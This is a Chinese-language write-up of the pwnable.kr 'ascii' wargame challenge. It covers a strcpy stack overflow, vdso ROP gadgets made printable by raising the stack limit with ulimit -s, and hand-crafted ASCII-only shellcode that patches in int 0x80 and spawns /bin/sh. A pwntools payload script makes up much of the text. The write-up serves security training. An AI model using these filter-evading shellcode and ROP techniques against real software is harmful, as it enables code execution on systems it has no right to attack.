Skip to content

Pwnable.kr ascii 题解

复制本地路径 | 在线编辑

源码分析

很简单,没有太多花里胡哨,就是考编码知识。

int main()
{
    int v6 = mmap(0x80000000, 4096, 7, 50, -1, 0);
    // 中间代码: 用户输入到 v6 中,要求必须是 ascii 码可表示,长度为 400
    return (int)vuln();
}
char *vuln()
{
  char dest; // [esp+10h] [ebp-A8h]
  return strcpy(&dest, (const char *)0x80000000);
}

解题步骤

这道题我构造结果是这样的: { shellcode | padding | fake ebp | jmp 0x80000000(shellcode) }. 很显然就是第一个和最后一个是值得写的,下面来进行讲解。

JMP 0x80000000(shellcode)

首先讲如何完成 jmp 0x80000000 这条指令,这种的方法是: 求助栈中内容,暂时没想到有什么更好的方法,有的话欢迎评论。

这道题观察发现溢出的时候栈里面是这样的: { old ebp | return addr | 10 * xxx | 0x80000000 },使用 ROP 来完成目标。但是程序地址一般是 0x08xxxxxx,很明显这个 0x08 不可打印,导致程序中的 ROP 也是不可打印的。

技巧是借助 vdso 中的 ROP,因为 vdso 的地址是可以用户控制的。对于 ulimit -s xxxx 命令,它的意思是让栈的空间最大可以为 xxx,但是栈空间变大,与此同时 vdso 的地址逐渐降低,所以可以控制 vdso 地址到一个可打印的地址块。

比如我本机中正常情况下某次 vsdo 是 0xf7f22000,如果执行 ulimit -s 2780000 后,就变成了 0x56424000。然后查看 ROP,用了下面的两个,正好偏移加上后都是可打印的,构造如下: { vdso + 0x549 | 3 * xx | vdso + 0x549 | 3 * xx | vdso + 0x54b | xx | 0x80000000(原来栈上就有的) }。

0x00000549 : pop ebp ; pop edx ; pop ecx ; ret
0x0000054b : pop ecx ; ret

Printable Shellcode

这一块就是如何写出可打印的 shellcode,感觉写完还是比较得意的,甚至觉得这个可以完全作为万能使用了。

首先最难完成的当然是 int 0x80 这条指令,主要用到了 sub [reg + num], al 这个可打印语句。分为两部分,首先我们要先使得一个寄存器指向 0x80000000,然后通过这个寄存器的偏移修改目标地址的内容,这样说很抽象,请看后面步骤。

第一步是让某个寄存器指向 0x80000000,这里选择的是 ebx,具体做法如下。

  1. 一开始先让栈里面存着 0x20303030,并且 al=0x30, ah=0x70
  2. 之后使用多个 push eax 使得 [esp+num] 中的 num 是可打印值
  3. 然后就通过 sub 指令进行修改即可,其中 0x80 是通过 0x20-0x70-0x30 所得出的
  4. 最后使用多个 pop eax 回到初始状态,此时栈里面存着的 0x20303030 已经变成了 0x80000000,然后 pop ebx 即可
    push 0x70307030
    pop eax
    push 0x20303030
    push eax * 8
    sub BYTE PTR [esp+35], ah
    sub BYTE PTR [esp+35], al
    sub BYTE PTR [esp+34], al
    sub BYTE PTR [esp+33], al
    sub BYTE PTR [esp+32], al
    pop eax * 8
    pop ebx
    

第二步是利用 ebx 进行偏移改变,如下所示。

push 0x70
pop eax
sub BYTE PTR [ebx+0x58], al
sub BYTE PTR [ebx+0x58], al
sub BYTE PTR [ebx+0x57], al

  1. 首先要知道 0x80000000 + 0x57 存着我们事先放好的值 \x3d\x60,我们需要把它变成 \xcd\x80(int 0x80)
  2. 所以和刚才那样一样,利用 sub 指令,0x3d-0x70=0x6d,0x60-0x70-0x70=0x80

这个最难的解决了,剩下都比较简单了,直接附上我的代码片段。

sc = ''

# ebx = 0x80000000
sc += 'push 0x70307030\n'
sc += 'pop eax\n'
sc += 'push 0x20303030\n'
sc += 'push eax\n' * 8
sc += 'sub BYTE PTR [esp+35], ah\n'
sc += 'sub BYTE PTR [esp+35], al\n'
sc += 'sub BYTE PTR [esp+34], al\n'
sc += 'sub BYTE PTR [esp+33], al\n'
sc += 'sub BYTE PTR [esp+32], al\n'
sc += 'pop eax\n' * 8
sc += 'pop ebx\n'

# decode (\x3d\x60) to int 0x80(\xcd\x80)
sc += 'push 0x70\n'
sc += 'pop eax\n'
sc += 'sub BYTE PTR [ebx+0x58], al\n'
sc += 'sub BYTE PTR [ebx+0x58], al\n'
sc += 'sub BYTE PTR [ebx+0x57], al\n'

# eax = 0
sc += 'push 0x41\n'
sc += 'pop eax\n'
sc += 'sub al, 0x41\n'

# ebx = '/bin/sh'
sc += 'push eax\n'
sc += 'push 0x68732f2f\n'
sc += 'push 0x6e69622f\n'
sc += 'push esp\n'
sc += 'pop ebx\n'

# ecx = edx = 0
sc += 'push eax\n'
sc += 'push eax\n'
sc += 'pop ecx\n'
sc += 'pop edx\n'

# eax = 0xb
sc += 'push 0x2b\n'
sc += 'pop eax\n'
sc += 'sub al, 0x20\n'

# \x3d\x60 --> int 0x80
payload = asm(sc) + b'\x3d\x60'
payload = payload.ljust(0xA8+4, b'A')

# vdso ROP
payload = payload + p32(ret_addr_01) * 8
payload = payload + p32(ret_addr_02)

个人总结

  1. 如何使用 ascii 实现 JMP 0x80000000
  2. 如何写出 printable shellcode
  3. vdso 的初步学习,可以利用 ulimit -s 命令改变它的地址,可以利用它的 ROP